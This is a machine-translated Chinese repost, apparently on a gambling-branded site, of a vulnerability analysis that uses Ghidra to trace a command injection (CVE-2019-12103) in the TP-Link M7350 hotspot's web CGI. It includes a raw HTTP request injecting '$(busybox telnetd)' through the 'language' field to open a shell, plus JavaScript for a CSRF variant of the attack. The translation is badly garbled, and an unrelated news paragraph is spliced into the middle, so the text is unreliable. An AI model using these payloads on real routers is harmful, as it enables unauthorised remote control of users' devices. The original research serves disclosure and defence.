应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

申博_新闻事件 申博 74次浏览 已收录 0个评论

0x01 破绽形貌

TP-Link M7350(V3)受预身份考证(CVE-2019-12103)和一些后考证(CVE-2019-12104)敕令注入破绽的影响。假如进击者位于统一LAN上或许能够接见路由器Web界面,则能够长途应用这些注入破绽。CVE-2019-12103也能够经由过程跨站要求捏造(CSRF)在任何浏览器中应用此破绽。

假如你正在运用个中的一个装备,请马上更新到新固件(版本190531)。

这篇文章是关于运用Ghidra逆向剖析这个RCE破绽的总结,若有题目,请帮我指出来

大多数路由器的安全性都很差,大多数消耗级收集硬件都带有嵌入式web服务器。Web服务器是用户运用GUI接见装备设置的一种异常简朴的要领。然则许多时刻,Web服务器会暴露API节点,比方JSON或XML文件。

当开发人员不是异常异常警惕的时刻 – 你会发明某种恣意的敕令实行潜力。我很少看到路由器在暴露的接口上没有敕令注入或内存治理题目某处。

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

M7350只是一个基于Qualcomm的蜂窝热门,在这类情况下它运转的是MDM9225。

异常荣幸,固件能够在TP-Link网站上找到。

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

我如今运用的是硬件版本3.0来运转M7350,因而我的固件文件名为M7350(EU)_V3_160330_1472438334613t.zip。这个文件自身只是一个ZIP,个中包含PDF装置申明。

在THAT ZIP中,我发明以下信息:

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

这看起来像是没有殽杂或加密固件更新的文件,有一些Android的觉得。我们能够解包二进制文件并最先剖析它们。

以至能够在META-INF / com / google / android / updater-script中看到固件更新剧本。

0x02 固件剖析

能够找出一些我们能够掌握的症结变量,并为它们设置grep。

从M7350 web服务器经由过程Burp抓到的一些数据包,能够看到一些变量称号,这有助于我们找到处置惩罚它们的二进制文件。

通用设置要求将发送到/ cgi-bin / qcmap_web_cgi端点。POST主体是JSON编码的,考证后要求须要“令牌”值。“模块”参数很有意义,因为它表明有一个交换机在运转,它依据要求的模块以差别的体式格局处置惩罚输入数据。

让我们来看看webServer中有什么

 $ grep -ro webServer
 
 Binary file data/bin/QCMAP_Web_CLIENT matches
 system/WEBSERVER/www/browserWarning.html:webServer
 Binary file system/WEBSERVER/www/cgi-bin/qcmap_web_cgi matches
 system/WEBSERVER/www/login.min.js:webServer
 system/WEBSERVER/www/settings.min.js:webServer
 system/WEBSERVER/www/settings.min.js:webServer
 system/WEBSERVER/www/tpweb.min.js:webServer
 system/WEBSERVER/www/tpwebPhone.min.js:webServer
 system/WEBSERVER/www/tpwebPhone.min.js:webServer
 system/WEBSERVER/www/tpwebPhone.min.js:webServer
 system/WEBSERVER/www/tpwebPhone.min.js:webServer

为了防止无关的垃圾文件输出,,我运用了了-o参数。如许就只会显现在文本文件中找到的现实字符串,我们只对二进制文件感兴趣。-r从当前工作目次最先以递归体式格局示知grep。

“webServer”在QCMAP_Web_CLIENT和qcmap_web_cgi二进制文件中。我们先来看看qcmap_web_cgi二进制文件,假如记得上面的POST要求,qcmap_web_cgi是在POST上的端点,因而,它多是担任治理每一个要求的处置惩罚体式格局。

0x03 用Ghidra剖析

运用Ghidra翻开qcmap_web_cgi二进制文件并运转泛型剖析,能够从搜刮字符串最先(经由过程单击Search – > For Strings)。

单击搜刮对话框,保存默认设置后,能够看到许多字符串 – 包含我们的“webServer”字符串。

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

双击该条目将带到“webServer”位于内存中的位置。Ghidra显现了这个地点在二进制文件的其他处所被交织援用(运用XREF解释)。

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

能够双击谁人交织援用,它将把我们带到援用“webServer”的函数。我已在这里重命名了它 ,比方FUN_00008ce0。

Ghidra的反编译器异常好用,我们能够很轻易地看到这个函数的逻辑是什么。

字符串通报给函数,假如字符串是“webServer”,则返回1。

然后,能够向后跟踪此函数,以弄清楚它是怎样被挪用的。右键单击反汇编视图中的函数称号,然后单击参考 – >显现挪用树。

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

这将给出一个异常简朴的可扩大项目标记列表,列出函数的挪用位置以及它挪用的内容。

在左边,能够看到传入的援用,由FUN_00008d78挪用webServer_or_status,它自身由main(以及之前的ELF条目)挪用。在右边显现webserver_or_Status仅挪用strcmp。

FUN_00008d78主如果从环境变量中提取数据,从JSON中提取内容并在恰当的处所实行身份考证搜检。

来看看主要功能:

这是挪用FUN_00008d78的main的一部份,一切其他if / else块都是毛病处置惩罚,假如要求花样毛病或不完整,则抛出毛病。

FUN_00008d78没有返回任何内容,然后挪用FUN_000092ec。

FUN_000092ec现实上异常有意义。从挪用树最先能够看到它挪用其他套接字函数,并实行sendto和recv挪用。

此二进制文件根本不处置惩罚HTTP服务器套接字。这个二进制文件自身不是Web服务器,它只是现实Web服务器将HTTP要求通报给的端点。

回到二进制文件中。正如在挪用树中看到的那样,FUN_000092ec正在挪用FUN_00008f3c,它正在实行socket,system和sendto syscalls!

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

二进制文件绑定到套接字文件/ www / qcmap_cgi_webclient_file。然后将sendto’ing要求数据发送到套接字文件/ www / qcmap_webclient_cgi_file。

因为数据被发送到了qcmap_web_cgi二进制文件,我们须要弄清楚它的去处以及发生了什么。

看看qcmap_webclient_cgi_file文件:

 $ grep -r qcmap_webclient_cgi_file
 Binary file data/bin/QCMAP_Web_CLIENT matches
 Binary file system/WEBSERVER/www/cgi-bin/qcmap_web_cgi matches

导入Ghidra,再次搜检字符串,“webServer”涌现了频频。

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

点击它的地点只显现了“webServer”

嘶吼直击2019国度网络安全宣传周——对话新时代下大数据安全新态势

刚刚结束中秋假期的嘶吼小伙伴一道来到了天津网络安全宣传周的现场。 上午,由中国电子技术标准化研究院承办、杭州安恒信息技术股份有限公司协办的“2019年国家网络安全宣传周——大数据安全高峰论坛”正在天津网络安全宣传周现场成功举办。 论坛以“新时代下大数据安全新态势”为主题,中国工程院院士沈昌祥、中央网信办网络安全协调局处长陈吉学、国家市场监督管理总局标准技术管理司副处长刘大山、中国信息安全研究院副院长左晓栋、中国电子技术标准化研究院信息安全研究中心主任刘

没有直接的交织援用,但是,向下转动一点有一些非空字节。能够经由过程右键单击第一个 – >数据 – > dword将它们转换为双字。

这看起来异常像查找表,假如你双击dword 15384h,会发明在二进制文件中的谁人偏移量。

能够经由过程右键单击FUN_00015384 – >重命名函数,我挑选了称号API_webServer_function,假如你想确保查找表中指向0x00015384的指针现实显现你的新函数名,你能够返回到指针,右键单击它 – >援用 – >建立内存援用。

一旦晓得了查找表的组织,只需在单击dword的第一个字节时按“p”键即可马上将其转换为指向函数的指针。

反汇编视图将显现函数称号

能够向上转动到查找表的开首,检察它是不是在函数中援用,并检察该函数的作用。

向上转动到查找表的开首是字符串“lan”这是由我重命名为“parse_json”的函数援用的。

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

parse_json函数异常大,但它援用“lan”字符串表明它是怎样运用此查找表的。

这个do / while轮回从要求JSON中猎取模块称号,而且从“lan”的地点最先以0x44的增量轮回每一个相对偏移。strcmp是用户供应的字符串,通报给“module”参数,字符串位于查找表中每一个条目的开首,直到婚配准确为止,然后它挪用相干的函数。

回到API_webServer_function:

应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽

提取用户供应的来自JSON要求的“action”值(来自iVar1 + 0x14),因而,假如发送包含{“module”:“webServer”,“action”:0}之类的要求,QCMAP_Web_CLIENT历程将运用参数“uci get webserver.user_config.language”挪用函数call_popen。然后它建立一个JSON对象,并将从call_popen取得的值作为“language”值返回。

call_popen是我给这个函数的名字:

popen字面上运转体系级敕令。它很像体系或exec *。将不受信托的用户输入直接通报给它并不抱负。但这正是二进制文件所做的。

假如操作为1,则“language”参数的值将通报给由snprintf函数组织的shell敕令字符串,然后将其通报给call_popen。

“但DAVE” – 我听到你们齐声说 – “SNPRINTF另有什么分外的论据?”

这真的是夺目和灵敏的你。智慧的你。好吧,答案是,反编译器并不圆满。我们期待看到:

snprintf(char_array_204,200,“uci set webserver.user_config.language =%s; uci commit webserver”,*(iVar1 + 0x10));

但我们没有。但我们晓得它应当如许说。这就是我们所晓得的。

0x04 ARM中的函数挪用

ARM中的函数挪用类似于x86_64,因为参数存储在寄存器中。R0包含第一个参数,R1示意第二个参数,R2示意第三个参数。

检察snprintf挪用,假如要添补一些花样字符串,则应最少运用4个参数,而且“uci set …”敕令字符串中的%s必需是花样字符串。

应以以下花样挪用snprintf :

int snprintf(char * s,size_t n,const char * format,...);

来自cJSON_GetObjectItem的返回值被移动到R6(返回值存储在R0中,但在此处标记为“language_val”,因为我在反编译器视图中将其重命名了)。

这是一个SUBtract指令,但偶然在ARM反汇编中你会看到种种ADD或SUB的值为零,而不是MOV。SUBS R6,R0,#替代为0x0 。

假如SUBS指令致使R6等于零,则零标志(ZF)将被设置为1,而且将遵照下一个BEQ分支敕令。

我们也能够在伪代码中看到:

iVar1!= 0搜检空返回值。

从cJSON_GetObjectItem挪用返回的对象的指针已放入了R6。然后,指针+ 0x10援用的存储器中的值移动到R3。然后CMP指令搜检它是不是为空。

能够经由过程读取伪代码的其他部份举行有依据的猜想,即从cJSON_GetObjectItem返回的对象的偏移量0x10包含指向用户供应的字符串值的指针。然后有一个CMP,以确保指针不为空。

能够看到在伪代码中看到:

0x05 破绽应用

如今破绽显而易见了,将“language”设置为shell敕令将致使我们的shell敕令被snprintf包含在“uci set …”字符串中,当该字符串通报给popen时,该敕令将被实行。

伪代码以下:

因而供应给“language”参数的值将替代“uci set …”字符串中的%s花样字符串,该值存储在acStack224中,然后popen就被挪用了。

以下要求将天生telnetd shell。

 POST /cgi-bin/qcmap_web_cgi HTTP/1.1
 Host: 192.168.0.1
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-GB,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.0.1/settings.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 65
 Connection: close
 
 {"module":"webServer","action":1,"language":"$(busybox telnetd)"}

0x06 仅限局域网的RCE应用

蜂窝调制解调器连接到APN,APN就像电信公司供应的大规模局域网,能够严厉设置APN,比方,不实行客户端断绝。在这些情况下,任何人都能够连接到雷同的APN,因为能够接见蜂窝调制解调器的Web设置界面。

另有能够存在JavaScript跨站要求捏造进击。在JavaScript中,很轻易罗列路由器地点的位置,检察它是不是存在破绽,并捏造能够实行代码的要求。所以,能够经由过程一个网页在你的路由器上实行恣意代码。

用于注入敕令的JavaScript代码:

 function sleep(ms) {
 return new Promise(resolve => setTimeout(resolve, ms));
 }
 function inject(lang){
 var xhr = new XMLHttpRequest();
 var url = "http://192.168.0.1/cgi-bin/qcmap_web_cgi";
 xhr.open("POST", url, true);
 xhr.send(JSON.stringify({"module":"webServer","action":1,"language":lang}));
 }
 
 inject("$(busybox telnetd)");
 sleep(500).then(() => {
 inject("en");
 
 });

0x07 破绽修复

TP-Link在固件更新190531中修复了这个破绽

将单引号转义为花样字符串。

0x08 剖析总结

蜂窝调制解调器中的破绽依然很罕见,这只是我在M7350中发明的一个破绽的例子,我只花了一天摆布的时候就发明了它。因而,能够另有更多破绽能够被发掘!!!

本文翻译自:https://www.pentestpartners.com/security-blog/cve-2019-12103-analysis-of-a-pre-auth-rce-on-the-tp-link-m7350-with-ghidra/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用Ghidra剖析TP-link M7350 4G随身WiFi的RCE破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址